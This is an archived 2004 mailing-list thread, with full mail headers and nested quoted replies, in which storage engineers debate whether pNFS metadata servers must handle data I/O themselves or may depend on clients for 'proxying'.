>Yahoo! Groups Links > >To visit your group on the web, go to: > http://groups.yahoo.com/group/pnfs-reqs/ > >To unsubscribe from this group, send an email to: > pnfs-reqs-unsubscribe@yahoogroups.com > >Your use of Yahoo! Groups is subject to: > http://docs.yahoo.com/info/terms/ > > Yahoo! Groups Links To visit your group on the web, go to: http://groups.yahoo.com/group/pnfs-ops/ To unsubscribe from this group, send an email to: pnfs-ops-unsubscribe@yahoogroups.com Your use of Yahoo! Groups is subject to: http://docs.yahoo.com/info/terms/ >From bhalevy@panasas.com Tue Jan 20 08:00:59 2004 Return-Path: X-Sender: bhalevy@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 44018 invoked from network); 20 Jan 2004 16:00:58 -0000 Received: from unknown (66.218.66.172) by m4.grp.scd.yahoo.com with QMQP; 20 Jan 2004 16:00:58 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta4.grp.scd.yahoo.com with SMTP; 20 Jan 2004 16:00:58 -0000 Received: by PIKES.panasas.com with Internet Mail Service (5.5.2653.19) id ; Tue, 20 Jan 2004 11:00:56 -0500 Message-ID: <30489F1321F5C343ACF6872B2CF7942A05D3879F@PIKES.panasas.com> To: ""'pnfs-reqs@yahoogroups.com'"" , pnfs-ops@yahoogroups.com Date: Tue, 20 Jan 2004 11:00:55 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset=""iso-8859-1"" X-eGroups-Remote-IP: 65.194.124.178 From: ""Halevy, Benny"" Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/0 3: subtopic: proxying X-Yahoo-Group-Post: member; u=169276676 X-Yahoo-Profile: benny_halevy Dave, I completely agree with your assertions below. One more reason not to provide support in the NFS protocol for such servers is to guarantee interoperability with simple MFSv4.x clients that do not support out-of-band I/O or some optional extensions, e.g. write sharing (if we spec. it). Without the ability to read and write via the NFS server, sharing a file that's being written by one or more writers needs complete support for write sharing by all clients as well as the server. I suggest we mention this issue in the problem statement document and explain why we want to leave it open for the server implementation to solve and don't want to solve it within the NFS protocol. Benny >-----Original Message----- >From: Noveck, Dave [mailto:dnoveck@netapp.com] >Sent: Tuesday, January 20, 2004 6:19 AM >To: pnfs-ops@yahoogroups.com; pnfs-reqs@yahoogroups.com >Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: >12/18/03: subtopic: proxying > > >You may be right about the origin of this but I did not suggest that >*NFS clients* take part when IO was done in this way. When >considering a situation in which there was no direct connection >between the meta-data server and the data server, I did note >that there was a large set of machines that had a connection to >both, making it possible/easy to provide a connection between >meta-data server and data server, albeit indirect. > >While it is true that that large class of machines can have NFS >clients running on them (and many will), I don't think it is a >good idea to place the burden of effecting this communication >(to help servers without a direct communications path) on the >clients. This is as opposed to a server using the same hardware >that a client would use to effect an indirect communication >path, which seems quite reasonable to me, but does not affect >the client-server protocol. > >In addition to the reasons that Dean cites for finding this >troublesome, let me add one more. Suppose we have IO from >a v4.0 client, necessitating access by the meta-data server >to the data server. If that function were imposed as a >requirement on v4.x clients, then how do you deal with the >case in which no v4.x clients are functioning? Previous V4 >minor versions should just work and making them dependent >on v4.x clients is not going to fly. The server has to >support v4.0 and can use the same hardware as clients and >much of the same software, but effecting the necessary >communication is part of the server's responsibility. > >-----Original Message----- >From: Halevy, Benny [mailto:bhalevy@panasas.com] >Sent: Monday, January 19, 2004 6:31 PM >To: 'pnfs-reqs@yahoogroups.com' >Cc: pNFS Operations >Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: >12/18/03: subtopic: proxying > > >Dave Noveck wrote: >>At some point the phrase ""proxying through the client"" was used and I >>realize I don't know what is meant by it. It doesn't seem to match >>the ""proxying"" that was being discussed originally. How would the >>client be a proxy for (presumably) the server? What am I missing? > >I think it was you who suggested (maybe in a rhetorical way) that >when the metadata server is not capable of accessing the storage >it manages it should still be able to perform I/O using a client. >Maybe this created the ""proxying through the client"" idea... > >Benny > >>-----Original Message----- >>From: Noveck, Dave [mailto:dnoveck@netapp.com] >>Sent: Monday, January 19, 2004 6:23 PM >>To: pnfs-reqs@yahoogroups.com >>Cc: pNFS Operations >>Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: >>12/18/03: subtopic: proxying >> >> >>Dean Hildebrand wrote: >>> I think relying on clients to do anything correctly is against the >>> inherent nature of NFS. Clients in NFS are transient and cannot be >>> trusted to do anything correctly. Therefore, the metadata >>server should >>> find its own way to write data to the data servers without >relying on >>> clients. If proxying through a client is optional, it still seems >>> orthogonal to the behavior of existing installations and the >>spirit of >>> NFS. Maybe there is a valid use case someone could describe? >> >>I'm now totally confused. Before we talk about use cases for >""proxying >>through a client"", I'd like to understand what it is. >> >>My understanding is that when this discussion started, a >>number of people >>were referring to a client writing data by sending a write to >the meta- >>data server (aka the NFS server) as ""proxying"", because, if >>your view is >>that the proper/best/ideal way of doing data transfer operations is to >>obtain mapping information and then do a write to the data >server (i.e. >>other NFS server or object data server or SAN-connected disk), then >>the direct NFS write can be seen as the meta-data server acting as the >>client's proxy. Is my understanding correct? >> >>No matter how you come down on the quesion of the >desirability of that, >>I don't think there any way to argue that doing a write by sending an >>NFS write request to an NFS server is against the inherent nature of >>NFS. Nor does it ask the client do anything correctly that it hasn't >>been doing all along. >> >>At some point the phrase ""proxying through the client"" was used and I >>realize I don't know what is meant by it. It doesn't seem to match >>the ""proxying"" that was being discussed originally. How would the >>client be a proxy for (presumably) the server? What am I missing? >> >>-----Original Message----- >>From: Dean Hildebrand [mailto:dhildebz@eecs.umich.edu] >>Sent: Monday, January 19, 2004 5:13 PM >>To: pNFS Requirements >>Cc: pNFS Operations >>Subject: Re: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: >>12/18/03: subtopic: proxying >> >> >>> > [1.1.2 Functional proxying]: a file transformation >>achievable by an >>> > NFS-v4.x client using a set of data server operations must be a >>> > equivalently achievable using a (probably different) set >>of NFS-v4.x >>> > server operations >>> > >>> > This is the topic I intended to address in the last email. >> I believe >>> > Dave is arguing that even with metadata servers that do >>not have access >>> > to their data servers, the vendor of such a metadata server can >>> > construct a proprietary protocol for the metadata server >>to (strict) >>> > proxy data server accesses through clients that do have >>data server >>> > access. I am not comfortable making up a counter to this, >>so I exhort >>> > those that want a metadata server without data server >>access to speak >>> > up if they disagree. >>> > >>> > > On one hand, some suggest that a set of out-of-band >>clients should not >>> >>> > > have to also have a data path through the NFSv4 metadata >>server. One >>> > > reason is that customers may not tolerate the large >>variability in >>> > > performance between out-of-band (when the going is good) >>and in-band >>> > > (when the server chooses not to grant or to take away a >>delegation) >>> > > accesses. Another reason, and I paraphrase someone else >>here, is that >>> >>> > > it is possible to construct out-of-band metadata servers >>that do not >>> > > have access to the data servers except through the clients -- I >>> > > encourage the source of this scenario to replace my >>paraphrasing with >>> > > a correct use case, because I find it odd to design for >>file servers >>> > > that do not have access to the data servers. >>> > > >>> > > On the other hand, others have suggested that any access >>or work that >>> > > a client can do out-of-band should be possible with one or more >>> > > commands applied to the metadata server's data path. >>This has been >>> > > proposed for coping with recalled delegations, including >>concurrent >>> > > writing by multiple clients; retry after client access errors, >>> > > provided adequate idempotency of out-of-band operations; >>and many >>> > > alternative implementations of out-of-band clients, >>including legacy >>> > > clients that use out-of-band never or rarely. >>> > > >>> > > I think this is a topic that should be argued one way or >>the other in >>> > > the requirements document. Use cases and examples in >>other systems >>> > > would be best. >>> > >>> >>> I guess that proxying through a client should be recomended but not >>> mandated. >>> We might the want to find how to do it while respecting >restrictions >>> removed the metadata server from the path. >> >>I think relying on clients to do anything correctly is against the >>inherent nature of NFS. Clients in NFS are transient and cannot be >>trusted to do anything correctly. Therefore, the metadata >>server should >>find its own way to write data to the data servers without relying on >>clients. If proxying through a client is optional, it still seems >>orthogonal to the behavior of existing installations and the spirit of >>NFS. Maybe there is a valid use case someone could describe? >> >>Dean >> >> >> >> >> >>Yahoo! Groups Links >> >>To visit your group on the web, go to: >> http://groups.yahoo.com/group/pnfs-reqs/ >> >>To unsubscribe from this group, send an email to: >> pnfs-reqs-unsubscribe@yahoogroups.com >> >>Your use of Yahoo! Groups is subject to: >> http://docs.yahoo.com/info/terms/ >> >> >> >> >> >>------------------------ Yahoo! Groups Sponsor >>---------------------~--> >>Upgrade to 128-bit SSL Security! >>http://us.click.yahoo.com/qZ0LdD/yjVHAA/TtwFAA/W6uqlB/TM >>--------------------------------------------------------------- >>------~-> >> >>Yahoo! Groups Links >> >>To visit your group on the web, go to: >> http://groups.yahoo.com/group/pnfs-reqs/ >> >>To unsubscribe from this group, send an email to: >> pnfs-reqs-unsubscribe@yahoogroups.com >> >>Your use of Yahoo! Groups is subject to: >> http://docs.yahoo.com/info/terms/ >> >> > > > >Yahoo! Groups Links > >To visit your group on the web, go to: > http://groups.yahoo.com/group/pnfs-ops/ > >To unsubscribe from this group, send an email to: > pnfs-ops-unsubscribe@yahoogroups.com > >Your use of Yahoo! Groups is subject to: > http://docs.yahoo.com/info/terms/ > > > > > >------------------------ Yahoo! Groups Sponsor >---------------------~--> >Upgrade to 128-bit SSL Security! >http://us.click.yahoo.com/qZ0LdD/yjVHAA/TtwFAA/W6uqlB/TM >--------------------------------------------------------------- >------~-> > >Yahoo! Groups Links > >To visit your group on the web, go to: > http://groups.yahoo.com/group/pnfs-reqs/ > >To unsubscribe from this group, send an email to: > pnfs-reqs-unsubscribe@yahoogroups.com > >Your use of Yahoo! Groups is subject to: > http://docs.yahoo.com/info/terms/ > > >From Thomas.Talpey@netapp.com Tue Jan 20 09:08:11 2004 Return-Path: X-Sender: Thomas.Talpey@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 83125 invoked from network); 20 Jan 2004 17:08:03 -0000 Received: from unknown (66.218.66.166) by m20.grp.scd.yahoo.com with QMQP; 20 Jan 2004 17:08:02 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta5.grp.scd.yahoo.com with SMTP; 20 Jan 2004 17:08:00 -0000 Received: from frejya.corp.netapp.com (frejya [10.57.157.119]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i0KH7xKw019662; Tue, 20 Jan 2004 09:07:59 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by frejya.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i0KH7xpr015087; Tue, 20 Jan 2004 09:07:59 -0800 (PST) Received: from tmt.netapp.com ([10.97.1.30]) by silver.hq.netapp.com with Microsoft SMTPSVC(5.0.2195.5329); Tue, 20 Jan 2004 12:07:53 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C3DF77.F0C43A80"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message Date: Tue, 20 Jan 2004 09:07:43 -0800 Message-ID: <5.2.1.1.2.20040120115557.01f84da8@silver.nane.netapp.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/0 3: subtopic: proxying Thread-Index: AcPfd/FIyXKQ2cP9TcmTvuQUbzySOg== To: Cc: X-eGroups-Remote-IP: 198.95.226.53 From: ""Talpey, Thomas"" Subject: Re: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/0 3: subtopic: proxying X-Yahoo-Group-Post: member; u=44154239 X-Yahoo-Profile: tmtymailu At 07:15 PM 1/19/2004, Garth Gibson wrote: >First, what I called Functional Proxying is what Dave Noveck >understands :-) It is a safety valve for clients that don't want to, >can't, or think it is slower to directly access the leaf storage >server. I think we should avoid making up a new term for something that NFS has been all about since day minus-one. And definitely let's not call it a safety valve. It's just regular old NFS. Right? >For the other scenario, I believe it was Julian Satran who mentioned >that IBM has considered situations where the metadata server does not >have good access, if any, to the storage devices directly. For >example, FC disks connected to all clients with FC NICs, and a metadata >server connected to clients via Ethernet and not connected to FC at >all. In this case, the metadata wants all, or almost all, accesses to >be direct from client to storage. So, this is important and sets the tone for where complexity resides. The issue is not so much whether the client chooses to perform a direct transfer, but whether it is forced to. This is important, and isn't a protocol issue, it's an implementation (or perhaps better, ""deployment"") choice. It's not going to be a popular proposal if we dwell on this. I view the document as centering around what happens when clients negotiate the advanced version, not how they fall back. Requirements, not implementation. Tom. >From julian_satran@il.ibm.com Tue Jan 20 16:54:29 2004 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 75408 invoked from network); 21 Jan 2004 00:54:28 -0000 Received: from unknown (66.218.66.218) by m14.grp.scd.yahoo.com with QMQP; 21 Jan 2004 00:54:28 -0000 Received: from unknown (HELO mtagate2.de.ibm.com) (195.212.29.151) by mta3.grp.scd.yahoo.com with SMTP; 21 Jan 2004 00:54:27 -0000 Received: from d12relay01.megacenter.de.ibm.com (d12relay01.megacenter.de.ibm.com [9.149.165.180]) by mtagate2.de.ibm.com (8.12.10/8.12.10) with ESMTP id i0L0sPRT089196; Wed, 21 Jan 2004 00:54:25 GMT Received: from d10ml001.telaviv.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228]) by d12relay01.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0L0sNI3159660; Wed, 21 Jan 2004 01:54:25 +0100 In-Reply-To: <30489F1321F5C343ACF6872B2CF7942A05D3879F@PIKES.panasas.com> To: pnfs-ops@yahoogroups.com Cc: pnfs-ops@yahoogroups.com, ""'pnfs-reqs@yahoogroups.com'"" MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5 September 26, 2003 Message-ID: Date: Tue, 20 Jan 2004 16:54:23 -0800 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 6.0.2CF2|July 23, 2003) at 21/01/2004 02:54:25, Serialize complete at 21/01/2004 02:54:25 Content-Type: text/plain; charset=""US-ASCII"" X-eGroups-Remote-IP: 195.212.29.151 From: Julian Satran Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/0 3: subtopic: proxying X-Yahoo-Group-Post: member; u=64714603 X-Yahoo-Profile: julian_satran ADVERTISEMENT Benny, Even ""simple"" NFSV4 clients support referrals (Moved). So a metadata server may refer those requests to another server that has access to data. The trouble I have is having to mandate this on all users or making an ""optional to use"" feature and leave the ""ERROR-DATA-ACCESS-NOT supported-here"" as a legal error (and that is the position I am taking). Julo ""Halevy, Benny"" 20/01/2004 08:00 Please respond to pnfs-ops To ""'pnfs-reqs@yahoogroups.com'"" , pnfs-ops@yahoogroups.com cc Subject RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/0 3: subtopic: proxying Dave, I completely agree with your assertions below. One more reason not to provide support in the NFS protocol for such servers is to guarantee interoperability with simple MFSv4.x clients that do not support out-of-band I/O or some optional extensions, e.g. write sharing (if we spec. it). Without the ability to read and write via the NFS server, sharing a file that's being written by one or more writers needs complete support for write sharing by all clients as well as the server. I suggest we mention this issue in the problem statement document and explain why we want to leave it open for the server implementation to solve and don't want to solve it within the NFS protocol. Benny >-----Original Message----- >From: Noveck, Dave [mailto:dnoveck@netapp.com] >Sent: Tuesday, January 20, 2004 6:19 AM >To: pnfs-ops@yahoogroups.com; pnfs-reqs@yahoogroups.com >Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: >12/18/03: subtopic: proxying > > >You may be right about the origin of this but I did not suggest that >*NFS clients* take part when IO was done in this way. When >considering a situation in which there was no direct connection >between the meta-data server and the data server, I did note >that there was a large set of machines that had a connection to >both, making it possible/easy to provide a connection between >meta-data server and data server, albeit indirect. > >While it is true that that large class of machines can have NFS >clients running on them (and many will), I don't think it is a >good idea to place the burden of effecting this communication >(to help servers without a direct communications path) on the >clients. This is as opposed to a server using the same hardware >that a client would use to effect an indirect communication >path, which seems quite reasonable to me, but does not affect >the client-server protocol. > >In addition to the reasons that Dean cites for finding this >troublesome, let me add one more. Suppose we have IO from >a v4.0 client, necessitating access by the meta-data server >to the data server. If that function were imposed as a >requirement on v4.x clients, then how do you deal with the >case in which no v4.x clients are functioning? Previous V4 >minor versions should just work and making them dependent >on v4.x clients is not going to fly. The server has to >support v4.0 and can use the same hardware as clients and >much of the same software, but effecting the necessary >communication is part of the server's responsibility. > >-----Original Message----- >From: Halevy, Benny [mailto:bhalevy@panasas.com] >Sent: Monday, January 19, 2004 6:31 PM >To: 'pnfs-reqs@yahoogroups.com' >Cc: pNFS Operations >Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: >12/18/03: subtopic: proxying > > >Dave Noveck wrote: >>At some point the phrase ""proxying through the client"" was used and I >>realize I don't know what is meant by it. It doesn't seem to match >>the ""proxying"" that was being discussed originally. How would the >>client be a proxy for (presumably) the server? What am I missing? > >I think it was you who suggested (maybe in a rhetorical way) that >when the metadata server is not capable of accessing the storage >it manages it should still be able to perform I/O using a client. >Maybe this created the ""proxying through the client"" idea... > >Benny > >>-----Original Message----- >>From: Noveck, Dave [mailto:dnoveck@netapp.com] >>Sent: Monday, January 19, 2004 6:23 PM >>To: pnfs-reqs@yahoogroups.com >>Cc: pNFS Operations >>Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: >>12/18/03: subtopic: proxying >> >> >>Dean Hildebrand wrote: >>> I think relying on clients to do anything correctly is against the >>> inherent nature of NFS. Clients in NFS are transient and cannot be >>> trusted to do anything correctly. Therefore, the metadata >>server should >>> find its own way to write data to the data servers without >relying on >>> clients. If proxying through a client is optional, it still seems >>> orthogonal to the behavior of existing installations and the >>spirit of >>> NFS. Maybe there is a valid use case someone could describe? >> >>I'm now totally confused. Before we talk about use cases for >""proxying >>through a client"", I'd like to understand what it is. >> >>My understanding is that when this discussion started, a >>number of people >>were referring to a client writing data by sending a write to >the meta- >>data server (aka the NFS server) as ""proxying"", because, if >>your view is >>that the proper/best/ideal way of doing data transfer operations is to >>obtain mapping information and then do a write to the data >server (i.e. >>other NFS server or object data server or SAN-connected disk), then >>the direct NFS write can be seen as the meta-data server acting as the >>client's proxy. Is my understanding correct? >> >>No matter how you come down on the quesion of the >desirability of that, >>I don't think there any way to argue that doing a write by sending an >>NFS write request to an NFS server is against the inherent nature of >>NFS. Nor does it ask the client do anything correctly that it hasn't >>been doing all along. >> >>At some point the phrase ""proxying through the client"" was used and I >>realize I don't know what is meant by it. It doesn't seem to match >>the ""proxying"" that was being discussed originally. How would the >>client be a proxy for (presumably) the server? What am I missing? >> >>-----Original Message----- >>From: Dean Hildebrand [mailto:dhildebz@eecs.umich.edu] >>Sent: Monday, January 19, 2004 5:13 PM >>To: pNFS Requirements >>Cc: pNFS Operations >>Subject: Re: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: >>12/18/03: subtopic: proxying >> >> >>> > [1.1.2 Functional proxying]: a file transformation >>achievable by an >>> > NFS-v4.x client using a set of data server operations must be a >>> > equivalently achievable using a (probably different) set >>of NFS-v4.x >>> > server operations >>> > >>> > This is the topic I intended to address in the last email. >> I believe >>> > Dave is arguing that even with metadata servers that do >>not have access >>> > to their data servers, the vendor of such a metadata server can >>> > construct a proprietary protocol for the metadata server >>to (strict) >>> > proxy data server accesses through clients that do have >>data server >>> > access. I am not comfortable making up a counter to this, >>so I exhort >>> > those that want a metadata server without data server >>access to speak >>> > up if they disagree. >>> > >>> > > On one hand, some suggest that a set of out-of-band >>clients should not >>> >>> > > have to also have a data path through the NFSv4 metadata >>server. One >>> > > reason is that customers may not tolerate the large >>variability in >>> > > performance between out-of-band (when the going is good) >>and in-band >>> > > (when the server chooses not to grant or to take away a >>delegation) >>> > > accesses. Another reason, and I paraphrase someone else >>here, is that >>> >>> > > it is possible to construct out-of-band metadata servers >>that do not >>> > > have access to the data servers except through the clients -- I >>> > > encourage the source of this scenario to replace my >>paraphrasing with >>> > > a correct use case, because I find it odd to design for >>file servers >>> > > that do not have access to the data servers. >>> > > >>> > > On the other hand, others have suggested that any access >>or work that >>> > > a client can do out-of-band should be possible with one or more >>> > > commands applied to the metadata server's data path. >>This has been >>> > > proposed for coping with recalled delegations, including >>concurrent >>> > > writing by multiple clients; retry after client access errors, >>> > > provided adequate idempotency of out-of-band operations; >>and many >>> > > alternative implementations of out-of-band clients, >>including legacy >>> > > clients that use out-of-band never or rarely. >>> > > >>> > > I think this is a topic that should be argued one way or >>the other in >>> > > the requirements document. Use cases and examples in >>other systems >>> > > would be best. >>> > >>> >>> I guess that proxying through a client should be recomended but not >>> mandated. >>> We might the want to find how to do it while respecting >restrictions >>> removed the metadata server from the path. >> >>I think relying on clients to do anything correctly is against the >>inherent nature of NFS. Clients in NFS are transient and cannot be >>trusted to do anything correctly. Therefore, the metadata >>server should >>find its own way to write data to the data servers without relying on >>clients. If proxying through a client is optional, it still seems >>orthogonal to the behavior of existing installations and the spirit of >>NFS. Maybe there is a valid use case someone could describe? >> >>Dean >> >> >> >> >> >>Yahoo! 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Groups is subject to: http://docs.yahoo.com/info/terms/ >From dnoveck@netapp.com Wed Jan 21 05:32:00 2004 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 16469 invoked from network); 21 Jan 2004 13:31:53 -0000 Received: from unknown (66.218.66.172) by m14.grp.scd.yahoo.com with QMQP; 21 Jan 2004 13:31:53 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta4.grp.scd.yahoo.com with SMTP; 21 Jan 2004 13:31:52 -0000 Received: from frejya.corp.netapp.com (frejya [10.57.157.119]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i0LDVpKw025463; Wed, 21 Jan 2004 05:31:51 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by frejya.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i0LDVppr022754; Wed, 21 Jan 2004 05:31:51 -0800 (PST) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Wed, 21 Jan 2004 05:31:41 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/0 3: subtopic: proxying Thread-Index: AcPfuSHl8H5HCtQBTWW1hkwg37TWRgAaJ0kw To: , X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/0 3: subtopic: proxying X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck > Even ""simple"" NFSV4 clients support referrals (Moved). Unfortunately, the ""simple"" clients that actually exist today don't :-(, but I suppose we can assume that time will correct that problem. > So a metadata server may refer those requests to another server > that has access to data. But that's referral of an entire filesystem (everything sharing a given fsid value) to another nfsv4 server (i.e. a metadata server). You can't (in v4.0) refer requests for a single file or separately refer data IO requests and those that involve metadata. > The trouble I have is having to mandate this on all users or making an > ""optional to use"" feature and leave the ""ERROR-DATA-ACCESS-NOT > supported-here"" as a legal error (and that is the position I am taking). It can't be a legal error in v4.0. -----Original Message----- From: Julian Satran [mailto:julian_satran@il.ibm.com] Sent: Tuesday, January 20, 2004 7:54 PM To: pnfs-ops@yahoogroups.com Cc: pnfs-ops@yahoogroups.com; 'pnfs-reqs@yahoogroups.com' Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/0 3: subtopic: proxying Benny, Even ""simple"" NFSV4 clients support referrals (Moved). So a metadata server may refer those requests to another server that has access to data. The trouble I have is having to mandate this on all users or making an ""optional to use"" feature and leave the ""ERROR-DATA-ACCESS-NOT supported-here"" as a legal error (and that is the position I am taking). Julo ""Halevy, Benny"" 20/01/2004 08:00 Please respond to pnfs-ops To ""'pnfs-reqs@yahoogroups.com'"" , pnfs-ops@yahoogroups.com cc Subject RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/0 3: subtopic: proxying Dave, I completely agree with your assertions below. One more reason not to provide support in the NFS protocol for such servers is to guarantee interoperability with simple MFSv4.x clients that do not support out-of-band I/O or some optional extensions, e.g. write sharing (if we spec. it). Without the ability to read and write via the NFS server, sharing a file that's being written by one or more writers needs complete support for write sharing by all clients as well as the server. I suggest we mention this issue in the problem statement document and explain why we want to leave it open for the server implementation to solve and don't want to solve it within the NFS protocol. Benny >-----Original Message----- >From: Noveck, Dave [mailto:dnoveck@netapp.com] >Sent: Tuesday, January 20, 2004 6:19 AM >To: pnfs-ops@yahoogroups.com; pnfs-reqs@yahoogroups.com >Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: >12/18/03: subtopic: proxying > > >You may be right about the origin of this but I did not suggest that >*NFS clients* take part when IO was done in this way. When >considering a situation in which there was no direct connection >between the meta-data server and the data server, I did note >that there was a large set of machines that had a connection to >both, making it possible/easy to provide a connection between >meta-data server and data server, albeit indirect. > >While it is true that that large class of machines can have NFS >clients running on them (and many will), I don't think it is a >good idea to place the burden of effecting this communication >(to help servers without a direct communications path) on the >clients. This is as opposed to a server using the same hardware >that a client would use to effect an indirect communication >path, which seems quite reasonable to me, but does not affect >the client-server protocol. > >In addition to the reasons that Dean cites for finding this >troublesome, let me add one more. Suppose we have IO from >a v4.0 client, necessitating access by the meta-data server >to the data server. If that function were imposed as a >requirement on v4.x clients, then how do you deal with the >case in which no v4.x clients are functioning? Previous V4 >minor versions should just work and making them dependent >on v4.x clients is not going to fly. The server has to >support v4.0 and can use the same hardware as clients and >much of the same software, but effecting the necessary >communication is part of the server's responsibility. > >-----Original Message----- >From: Halevy, Benny [mailto:bhalevy@panasas.com] >Sent: Monday, January 19, 2004 6:31 PM >To: 'pnfs-reqs@yahoogroups.com' >Cc: pNFS Operations >Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: >12/18/03: subtopic: proxying > > >Dave Noveck wrote: >>At some point the phrase ""proxying through the client"" was used and I >>realize I don't know what is meant by it. It doesn't seem to match >>the ""proxying"" that was being discussed originally. How would the >>client be a proxy for (presumably) the server? What am I missing? > >I think it was you who suggested (maybe in a rhetorical way) that >when the metadata server is not capable of accessing the storage >it manages it should still be able to perform I/O using a client. >Maybe this created the ""proxying through the client"" idea... > >Benny > >>-----Original Message----- >>From: Noveck, Dave [mailto:dnoveck@netapp.com] >>Sent: Monday, January 19, 2004 6:23 PM >>To: pnfs-reqs@yahoogroups.com >>Cc: pNFS Operations >>Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: >>12/18/03: subtopic: proxying >> >> >>Dean Hildebrand wrote: >>> I think relying on clients to do anything correctly is against the >>> inherent nature of NFS. Clients in NFS are transient and cannot be >>> trusted to do anything correctly. Therefore, the metadata >>server should >>> find its own way to write data to the data servers without >relying on >>> clients. If proxying through a client is optional, it still seems >>> orthogonal to the behavior of existing installations and the >>spirit of >>> NFS. Maybe there is a valid use case someone could describe? >> >>I'm now totally confused. Before we talk about use cases for >""proxying >>through a client"", I'd like to understand what it is. >> >>My understanding is that when this discussion started, a >>number of people >>were referring to a client writing data by sending a write to >the meta- >>data server (aka the NFS server) as ""proxying"", because, if >>your view is >>that the proper/best/ideal way of doing data transfer operations is to >>obtain mapping information and then do a write to the data >server (i.e. >>other NFS server or object data server or SAN-connected disk), then >>the direct NFS write can be seen as the meta-data server acting as the >>client's proxy. Is my understanding correct? >> >>No matter how you come down on the quesion of the >desirability of that, >>I don't think there any way to argue that doing a write by sending an >>NFS write request to an NFS server is against the inherent nature of >>NFS. Nor does it ask the client do anything correctly that it hasn't >>been doing all along. >> >>At some point the phrase ""proxying through the client"" was used and I >>realize I don't know what is meant by it. It doesn't seem to match >>the ""proxying"" that was being discussed originally. How would the >>client be a proxy for (presumably) the server? What am I missing? >> >>-----Original Message----- >>From: Dean Hildebrand [mailto:dhildebz@eecs.umich.edu] >>Sent: Monday, January 19, 2004 5:13 PM >>To: pNFS Requirements >>Cc: pNFS Operations >>Subject: Re: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: >>12/18/03: subtopic: proxying >> >> >>> > [1.1.2 Functional proxying]: a file transformation >>achievable by an >>> > NFS-v4.x client using a set of data server operations must be a >>> > equivalently achievable using a (probably different) set >>of NFS-v4.x >>> > server operations >>> > >>> > This is the topic I intended to address in the last email. >> I believe >>> > Dave is arguing that even with metadata servers that do >>not have access >>> > to their data servers, the vendor of such a metadata server can >>> > construct a proprietary protocol for the metadata server >>to (strict) >>> > proxy data server accesses through clients that do have >>data server >>> > access. I am not comfortable making up a counter to this, >>so I exhort >>> > those that want a metadata server without data server >>access to speak >>> > up if they disagree. >>> > >>> > > On one hand, some suggest that a set of out-of-band >>clients should not >>> >>> > > have to also have a data path through the NFSv4 metadata >>server. One >>> > > reason is that customers may not tolerate the large >>variability in >>> > > performance between out-of-band (when the going is good) >>and in-band >>> > > (when the server chooses not to grant or to take away a >>delegation) >>> > > accesses. Another reason, and I paraphrase someone else >>here, is that >>> >>> > > it is possible to construct out-of-band metadata servers >>that do not >>> > > have access to the data servers except through the clients -- I >>> > > encourage the source of this scenario to replace my >>paraphrasing with >>> > > a correct use case, because I find it odd to design for >>file servers >>> > > that do not have access to the data servers. >>> > > >>> > 